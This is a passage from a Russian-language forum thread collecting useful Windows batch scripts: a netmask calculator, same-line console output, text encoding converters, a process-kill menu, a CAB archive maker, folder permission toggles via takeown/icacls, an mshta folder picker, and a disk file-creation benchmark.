    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
    If /I "%%I"=="CIDR" Call :CIDR
)
:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF
 
:CIDR
:: Трансформация маски в формат CIDR
Set BinMask=
Set i=0
:: Разбираем маску обратно на октеты
Set NetMask=!NetMask:.= !
For %%A In (!NetMask!) Do (
    Call :DEC2BIN %%A
    :: И собираем бинарную маску
    Set BinMask=!BinMask!!Result!
)
:: Удаляем из неё незначащие нули, а единицы разделяем пробелами
Set BinMask=!BinMask:0=!
Set BinMask=!BinMask:1=1 !
:: Считаем единицы
For %%A In (!BinMask!) Do (Set /A i+=1)
:: Устанавливаем значение
Set NetMask=/!i!
Exit /B

.



2



612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

6

Пакетное получение информации о IP-адресах и построение HTML-отчёта.

Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html
Если IP-адреса нужно выделить из общей массы текста, поместить текст в файл raw_data.txt и запустить get_all_ip.bat, список IP без дублей будет автоматически сгенерирован и передан на обработку masswhois.bat

В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес.

Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd



2



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

21.10.2012, 03:05

 [ТС]

7

Вывод текста без переноса на новую строку

Принцип подсмотрел у

alexii на сером форуме.

Код содержит невидимые символы BackSpace (0x08).
Поэтому, чтобы их увидеть, Ваш редактор должен их поддерживать.

Будет полезен для создания процентного прогрессбара
или указания на текущий обрабатываемый файл, если есть необходимость в экономии места на экране.
Это Lite-версия: не учитывает возможность превышения длиной выводимого текста ширины консольного окна.

Рабочий вариант качайте с файла.
Под спойлером код с комментариями. Он работать не будет, т.к. я заменил все BackSpace (0x08) на символ (0х20) для наглядности.
Чтобы поставить такой символ, достаточно нажать Alt + 8 (на цифровой клавиатуре).

Код — замените (0х20) на (0x08)

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
@Echo Off
Setlocal EnableExtensions EnableDelayedExpansion
pause>nul
:Start
Call :StrOne "Эти слова" new
pause>nul
Call :StrOne " написаны рядом" new
pause>nul
Call :StrOne "Это новая строка" crlf
pause>nul
Call :StrOne "Замена!!!"
pause>nul
Call :StrOne " Пишем рядом" new
pause>nul
Call :StrOne " И снова заменяем :)"
pause>nul
for /r c:\windows %%A in (*) do Call :StrOne "%%~nxA"
goto :eof
 
:StrLen
::Вычисляет длину переменной.
::Результат записівается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (call :StrWrite "%~1"& exit /b 0)
if "%2"=="crlf" (echo.&call :StrWrite "%~1"& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :StrWrite "%~1"& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!)
::Возвращаем каретку назад
<nul set /p text=%BS%
::Печатаем текст поверх старого
<nul set /p text=_¶%~1
Set /a LenBefore=%LastLen%
Call :StrLen "%~1"
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_¶!Space!)
)
exit /b 0
 
:StrWrite
::Печатаем текст на той же строке
<nul set /p text=_¶%~1
::Обнуляем переменную длины предыдущей строки
set /a LenBefore=0
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
exit /b 0

Вложения

Тип файла: rar BS.rar (577 байт, 395 просмотров)



1



Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

27.10.2012, 02:37

 [ТС]

8

Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку.

Массовая рассылка файлов



0



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

02.11.2012, 18:00

 [ТС]

9

Перекодировка текста

Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц)

Из любой кодировки в любую (через утилиту win_iconv)

Скачать утилиту.

Синтаксис:

Bash

iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …]

Перечень кодировок:

Bash

iconv -l

Пример использования:

Bash

win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt"

Подробности в теме о ключах.

Win <-> OEM (неконсольный — на языке VBA)

Автор: Dragokas

Написан на VBA (Excel). Скачать.

Для работы необходимо включить макросы:
Для Office = 2003: Сервис -> Макрос -> Безопасность -> Выставить «Средний» или «Низкий».
Для Office > 2003 MSDN

Описание функций:

  • Перекодировка:
    — в Unicode.
    — Из OEM-866 -> в Win-1251
    — Из Win-1251 -> в OEM-866.
  • Таблица символов с их 10-ричным и 16-ым представлениями:
    — 1-байтовая;
    — 2-байтовая.

OEM-866 -> WIN-1251 (на CMD)

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@echo off
SetLocal
::Файл с кодировкой OEM-866
set FileIn=text.txt
::Результат, куда записывать WIN-1251
set FileOut=text.txt
 
chcp 866> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"  2>NUL
)
chcp 866> nul
goto :eof
 
:convert
echo.%~1>>"%FileOut%"

OEM-866 -> WIN-1251 (через утилиту на ASM)

Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =)

Автор:

Charles Kludge

Использование только через конвейер:

Bash

ipconfig /all | to1251.exe > result.txt

Bash

to1251.exe < file1.txt > result.txt

Исходник. Код ASM:

Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
format PE console 4.0
 
include 'win32a.inc'
 
next:   invoke  crt_getchar
    push    eax
    invoke  GetLastError
    or  eax, eax
    jnz exit
    pop eax
    call    recode
    invoke  crt_putchar, eax
    jmp next
exit:   
        invoke  ExitProcess,0
recode: 
    cmp eax,080h        ; rus cap 'A'
    jb  @5
    cmp eax,0afh         ; rus small 'п'
    ja  @1
    or  al,40h
@5: ret
@1:
    cmp al,0e0h     ; rus small 'р'
    jae @4
    mov al,20h      ; pseudoghaphic chrs 0xb0-0xdf -> <space>
    ret
@4: cmp al, 0efh    ; rus small 'я'
    ja  @3
    add al,10h
    ret
@3:     and ax, 0fh
    mov ebx, xlt
    xlatb   
@2:
    ret
xlt db  0a8h, 0b8h, 0aah, 0bah, 0afh, 0bfh, 0a1h, 0a2h, 0b0h, 95h, 0b7h,20h,0b0h,0a4h,20h,20h
 
; import data in the same section
 data import
 
 library kernel32,'KERNEL32.DLL',\
     msvcrt,'MSVCRT.DLL'
 
 import kernel32,\
        ExitProcess,'ExitProcess',\
        GetLastError,'GetLastError'
 
 import msvcrt,\
    crt_getchar,'getchar',\
    crt_putchar, 'putchar'
end data

Win-1251 -> в Unicode (UTF-16LE) (на CMD)

С возможностью указать исходную кодовую страницу:

Использование:

Bash

Batch.cmd infile outfile src_codepage

где:

Batch.cmd — сам Batch-файл
infile — файл для перекодировки
outfile — выходной файл
src_codepage — необязательный параметр. Номер кодовой страницы исходного файла.

2 варианта кода:

1) Исходник кода сохранить в кодировке WIN-1251:

Bash
1
2
3
4
5
6
7
8
9
10
11
@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке WIN-1251
SetLocal
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 1251 >nul
CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

2) исходник кода сохранить в кодировке OEM-866:

Bash
1
2
3
4
5
6
7
8
9
10
11
@echo off
:: преобразование текстового файла в unicode (utf-16 LE)
:: вызов: to_uni infile outfile codepage
:: BAT-файл должен быть сохранен в кодировке OEM-866
SetLocal EnableExtensions
For /f "tokens=2 delims=:" %%G in ('CHCP') do Set _codepage=%%G
chcp 866 >nul
for /F %%? in ('echo яю') do chcp 1251 >nul& CMD.EXE /D /A /C (set /p=яю)<NUL > "%~2"
CHCP %~3 >NUL
CMD.EXE /D /U /C TYPE "%~1" >> "%~2"
CHCP %_codepage% >NUL

Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли

UTF-8 -> Win-1251 (cmd)

От Smitis

Bash
1
2
3
4
5
6
:: UTF-8 -> ANSI
@echo off
chcp 65001 > nul
cmd /u /c type utf8.txt > tmp.txt
chcp 1251 > nul
type tmp.txt > ansi.txt

UTF-16 -> OEM-866 (cmd)

Bash
1
cmd /a /c type utf16.txt > 866.txt

UTF-16 -> Win-1251 (cmd)

Bash
1
2
chcp 1251
cmd /a /c type utf16.txt > 866.txt

Вложения

Тип файла: rar FromUnicode (конвертор)2.rar (59.5 Кб, 601 просмотров)



4



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

12.11.2012, 07:27

 [ТС]

10

Завершение процесса (оформлено в виде меню).

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@echo off
SetLocal EnableDelayedExpansion
:begin
cls
For /F "tokens=1 delims=," %%p In ('tasklist /FO CSV /nh^|sort') Do (
  Set nam=%%p
  Set /A nn+=1
  set proc!nn!=%%p
  echo !nn!. %%~p
)
:start
set /p kill=Введите номер процесса, который нужно завершить:
if "%kill%"=="" goto :start
echo Выбран !proc%kill%!. Уверены? (нажмите ENTER)
echo.
pause
taskkill /f /im !proc%kill%! /T
goto begin

Миниатюры

Полезные BAT/CMD скрипты
 



4



Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

12.11.2012, 07:57

 [ТС]

11

Крутящаяся палка (имитация).
Автор: sov44

По типу — песочные часы в Windows =))



4



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

12.11.2012, 09:10

 [ТС]

12

Создание CAB-архивов
(в т.ч. самораспаковующихся EXE).
а также распаковка CAB.

Автор:

Alex Averchenkoff

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
@echo **************************************************
@echo ((((((((((((((((((((((((((((((((((((((((((((((((((
@echo Name:         CabMaker.exe
@echo Description:  A program for creating cab archives 
@echo Version:      v. 1.0.0.0
@echo Copyright:    @Alex Averchenkoff
@echo Create:       2011
@echo ))))))))))))))))))))))))))))))))))))))))))))))))))
@echo **************************************************
 
@echo off
 
set SaveName=""
 
rem ******************************************************
rem СТАРТОВЫЙ БЛОК - ВЫБИРАЕМ ДЕЙСТВИЕ:ПРОСМОТР\РАСПАКОВКА\СОЗДАНИЕ АРХИВА
rem ******************************************************
:start
echo.
set /p action=VIEW-1^|EXPAND-2^|CREATE-3:
if /i "%action%"=="1" (goto view) 
if /i "%action%"=="2" (goto extract) 
if /i "%action%"=="3" (goto create) 
exit 
 
rem ******************************************************
rem ПРОСМОТР CAB АРХИВА
rem ******************************************************
:view
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (expand -D %name%.cab) else ( goto view)
 
if errorlevel 0 (goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
rem ******************************************************
rem РАСПАКОВКА CAB АРХИВА - ФАЙЛЫ РАСПАКОВЫВАЮТСЯ В ДИРЕКТОРИЮ ОДНОИМЕННУЮ С ИМЕНЕМ АРХИВА
rem ******************************************************
:extract
set /p name=ENTER NAME ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if not "%name%"=="" (md "%~dp0%name%" && expand %name%.cab /F:*  .\%name%) else ( goto extract)
 
 
if errorlevel 0 (@echo Archive successfully unzipped! & goto action) 
if errorlevel 1 (@echo An error occurred, try again)
 
:action
echo You want to continue or exit the program?
set /p action=TO CONTINUE OR EXIT? [Y\N]:
if /i "%action%"=="Y" (goto start) else exit
 
rem ******************************************************
rem СОЗДАНИЕ НОВОГО CAB АРХИВА  - СОЗДАЕТСЯ В ПАПКЕ РАСПОЛОЖЕНИЯ БАТНИКА
rem ******************************************************
:create
set /p name=ENTER NAME FOR ARCHIVE:
if "%SaveName%"=="" ( set SaveName=%name%)
if "%name%"=="" ( set name=%SaveName%)
if "%name%"=="" ( goto create)
 
rem ******************************************************
rem БУДЕМ ЛИ СОЗДАВАТЬ РАСПАКОВЫВАЮЩИЙСЯ АРХИВ
rem ******************************************************
set /p sfx=CREATE SFX?[Y\N]:
 
if /i "%sfx%"=="Y" (@echo  Initiated the creation of self-extracting archive)
echo.
rem ******************************************************
rem СОЗДАЕМ СПИСОК ФАЙЛОВ И ФАЙЛ ОТВЕТОВ ДЛЯ MAKECAB
rem ******************************************************
@echo  .Set CabinetNameTemplate=%name%.cab>make.ddf
@echo  .Set CompressionType=MSZIP>>make.ddf
@echo  .Set MaxDiskSize=CDROM>>make.ddf
@echo  .Set ReservePerCabinetSize=6144>>make.ddf
@echo  .Set Compress=on>>make.ddf
@echo  .Set CompressionMemory=21>>make.ddf
@echo  .Set DiskDirectoryTemplate=".">>make.ddf
@echo  .Set Cabinet=ON>>make.ddf
@echo  .Set MaxCabinetSize=999999999>>make.ddf 
@echo  .Set CompressionLevel=^7>>make.ddf
 
rem ******************************************************
rem СОЗДАЕМ ОБЫЧНЫЙ АРХИВ
rem ******************************************************
chcp 1251>nul
FOR /R %%f IN (*.*) DO  (
    If not "%%~nxf"=="make.ddf" (
       @If not "%%~nxf"=="CabMaker.bat" (@echo "%%f">>make.ddf))
    )
makecab /F make.ddf
if /i "%sfx%"=="Y" (goto create_sfx) else ( goto clear)
 
:clear
del setup.inf
del setup.rpt
del make.ddf
chcp 866 > nul
echo.
echo Creating a backup is successfully completed!
goto action
 
 
rem ******************************************************
rem МАГИЕЙ ПРЕВРАЩАЕМ ОБЫЧНЫЙ АРХИВ В САМРАСПАКОВЫВАЮЩИЙСЯ  :-)
rem ******************************************************
:create_sfx
copy /b %windir%\system32\extrac32.exe+%name%.cab %name%.exe
del setup.inf
del setup.rpt
del make.ddf
del %name%.cab
chcp 866 > nul
echo.
echo Create self-extracting archive completed successfully!
goto action

Вложения

Тип файла: zip CabMaker.zip (1.4 Кб, 731 просмотров)



3



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

18.11.2012, 06:05

 [ТС]

13

Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only)
Автор: Dragokas

Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003.

1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения.
Дополнительно разрешается в текущей папке — создавать файлы.
Все остальные операции, в т.ч. и создание файлов в подкаталогах — запрещено.

2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей.

Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора».
FA.cmd будет работать после блокировки RO.cmd-хой только при запуске от Админа.

Как пользоваться:
Файл множество раз протестирован и безопасен, если будете придерживаться правила:
Запускать батник только из той папки, в которой нужно ограничить доступ (RO.cmd) или получить полные права (FA.cmd).
Работает рекурсивно для всех подкаталогов, начиная с каталога, где находится батник.

Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2).

Поддержка:
Скрипт протестирован в средах английской и русской локализаций, а также:
1) Windows XP SP2
2) Windows Server 2003 SP2
3) Windows 7 SP1

Исходный код

Сохранять в кодировке OEM-866.

FA.cmd

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /grant All:f /T /C
icacls "%Cur%" /grant Все:f /T /C

RO.cmd

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@echo off
if "%1"=="" (
  Echo Working...
  Call "%~dpnx0" 0 1>nul 2>&1
  Echo Ready...
  Goto :eof
)
 
Setlocal Enableextensions
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
takeown /f "%Cur%" /r /d y
 
icacls "%Cur%" /deny All:(DE,WDAC,WO,AS,WD,AD,WEA,DC,WA) /T /C
icacls "%Cur%" /deny Все:(DE,WDAC,WO,WD,AS,AD,WEA,DC,WA) /T /C
 
icacls "%Cur%" /grant All:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
icacls "%Cur%" /grant Все:(RC,S,GR,GW,GE,RD,REA,X,RA) /T /C
 
icacls "%Cur%" /grant All:(WD) /C
icacls "%Cur%" /grant Все:(WD) /C
 
icacls "%~dpnx0" /grant:r Все:f /C
icacls "%~dpnx0" /grant:r All:f /C

В коде использован метод двойного запуска скрипта исключительно для упрощения
перенаправления потока вывода в NUL.
Метод «обворачивания» скобками приводил к синтаксическим ошибкам в силу
некоторых особенностей работы утилиты ICACLS.

Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое

Вложения

Тип файла: zip Access.zip (671 байт, 1050 просмотров)
Тип файла: zip icacls.exe — Vista — Windows 7.zip (14.3 Кб, 739 просмотров)
Тип файла: zip icacls.exe — XP — Server 2003.zip (13.9 Кб, 445 просмотров)



6



Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

26.11.2012, 13:41

 [ТС]

14

Пищалка (подобие beep)
на простой команде Эхо.

Блокнотом Windows не редактировать!
(использован служебный символ &H07 и кодовая страница OEM-866)

Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.



5



khaarax

6 / 2 / 0

Регистрация: 09.12.2012

Сообщений: 5

09.12.2012, 23:00

15

Вызов GUI диалогового окна выбора папки
Это HTA-обертка на JavaScript-е для открытия диалогового окна выбора папки через объект WshShell.

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@echo off
setlocal
 
for /f "tokens=2 delims=:" %%i in ('chcp') do (
    set sPrevCP=%%i
    chcp 1251 >nul
)
 
for /f "usebackq delims=" %%i in (
    `@"%systemroot%\system32\mshta.exe" "javascript:var objShellApp = new ActiveXObject('Shell.Application');var Folder = objShellApp.BrowseForFolder(0, 'SELECT FOLDER',1, '::{20D04FE0-3AEA-1069-A2D8-08002B30309D}');try {new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).Write(Folder.Self.Path)};catch (e){};close();" ^
    1^|more`
) do set sFolderName=%%i
 
chcp %sPrevCP% >nul
 
if defined sFolderName (
    echo Выбрана папка: %sFolderName%
) else (
    echo Папка не была выбрана.
)
pause

Копирайты не помню чьи.

Миниатюры

Полезные BAT/CMD скрипты
 



2



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

30.12.2012, 04:46

 [ТС]

16

Многопроцессное создание пустых файлов (бенчмарк для винчестера)
Код от: Dragokas
Спасибо Petya V4sechkin (OSZone) за ценную подсказку о синтаксисе запуска процесса.

P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку).

Настраиваемые параметры:
Set Dest=y:\m2 — каталог, в котором создавать файлы
Set /A Potok=50 — общее кол-во запускаемых потоков
Set /A PotokMax=8 — максимальное кол-во одновременно запускаемых потоков
Set /A Range=10000 — кол-во пустых файлов, создаваемых каждым потоком.

Развернуть код

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
::Многопотоковое создание пустых файлов ::by Alex Drago.kas
@echo off
Setlocal EnableDelayedExpansion EnableExtensions
Set Dest=y:\m2
Set /A Potok=50
Set /A PotokMax=8
Set /A Range=10000
 
if not exist "%Dest%" md "%Dest%"
::1 из потоков - управляющий (этот код) + 1(?не знаю почему)
Set /A PotokMax+=2
 
Set TimeS=%Time%
Call :TimeToMSec "%TimeS%" TimeS_ms
Echo Задание начато в %TimeS%
 
Set /A sS=0
For /L %%P in (1,1,%Potok%) do (
  Set /A sE=!sS!+%Range%-1
  start "Stream %%P" /min "CMD /Q /C For /L %%N in (!sS!,1,!sE!) do cd.>%Dest%\%%N"
  Set /A sS+=%Range%
  Echo Запущен поток № %%P
  Call :WaitForReady %PotokMax%
)
Echo Все потоки запущены.
Echo Ожидаю завершения заданий.
 
Call :WaitForReady 3&:: (+1 ?не знаю почему)
 
Set TimeE=%Time%
Call :TimeToMSec "%TimeE%" TimeE_ms
 
Echo Задание  начато  в  %TimeS%
Echo Задание завершено в %TimeE%
 
Set /A diff=TimeE_ms-TimeS_ms
Set /A diffSS=diff/100
Set /A diffms=%diff% %% 100
Set /A TotalFiles=Potok*Range
Set /A Speed=TotalFiles*100/diff
Echo Записано %TotalFiles% файлов.
Echo Затрачено: %diffSS%,%diffms% с.
Echo Скорость:  %Speed% файлов/с.
Echo.
pause
Goto :eof
 
:WaitForReady %PotokMax%
Set /A n=0
For /F "Delims=" %%A in ('tasklist^|Findstr /BLIC:cmd.exe') do (Set /A n+=1)
if %n% LSS %~1 Exit /B
ping -w 100 -n 1 192.168.254.254> nul
Goto :WaitForReady
 
:TimeToMSec %Time% %var_mSec%
For /F "Tokens=1-4 Delims=,:" %%A in ("%~1") do (
  Set /A HH=%%A
  Set MM=1%%B& Set /A MM=!MM!-100
  Set SS=1%%C& Set /A SS=!SS!-100
  Set mS=1%%D& Set /A mS=!mS!-100
)
Set /A %~2=(HH*60*60+MM*60+SS)*100+mS
Exit /B

В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет.
Чтобы удалить созданные файлы, прилагаю еще один бат-файл, который визуально отображает %-ый индикатор завершения удаления файлов.

Результаты тестов на моем SSD :)

Полезные BAT/CMD скрипты

Индикация процесса удаления папки

Развернуть код…

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
::Индикация процесса удаления папки
@echo off
Set Fold=y:\m2
 
Echo Удаляю каталог %Fold%
Start /min cmd /c "rmdir /s /q "%Fold%"& exit"
 
Call :Count
Set /A Full=%n%
Echo 0%% - %Full% files
 
:Continue
Call :Count
Set /A Percent=100-(%n%*100/%Full%)
Echo %Percent%%%
ping -w 1000 -n 1 192.168.254.254> nul
if %n% neq 0 Goto :Continue
Echo.
Echo Ends.
pause
 
:Count
Set /A n=0
if not exist "%Fold%" Exit /B
dir /b "%Fold%">"%temp%\files.tmp"
for /F "Delims=" %%A in ('find /v /c ""^<"%temp%\files.tmp"') do (Set /A n=%%A)
::for /F "UseBackQ Delims=" %%A in ("%temp%\files.tmp") do @Set /A n+=1
Exit /B

Вложения

Тип файла: zip Speed.zip (1.5 Кб, 429 просмотров)



5



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

03.01.2013, 02:43

 [ТС]

17

Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild)
Автор: Dragokas

UPD. 02.03.2017 — добавил скрипт для msbuild.

Зачем нужен:
Например, в системе не установлена MS Visual Studio или другая среда разработки.

Требования:
Установленный NET.FrameWork, в некоторых случаях Windows SDK.

Использование:
1. Перетянуть на данный скрипт файл с исходным кодом C# (.cs / .sln) — «Drag & Drop»
2. Либо задать как аргумент в консоли, например, compile.cmd source.cs

Функционал:
Компиляция исходного кода C# с помощью консольного CSC.exe (msbuild) компилятора.
Все версии FrameWork-а скрипт находит в папке windows\microsoft.net, после чего дает Вам выбор какой версией компилировать и запоминает ее.
Ведет файл-протокола ошибок в DOS (CP-866) и WIN (CP-1251) кодировках и предлагает его сохранить.
Ошибки выводит также на экран. В случае их отсутствия, скрипт завершает работу без ожидания.

Внутри скрипта есть некоторые комментарии по детальным настройкам.

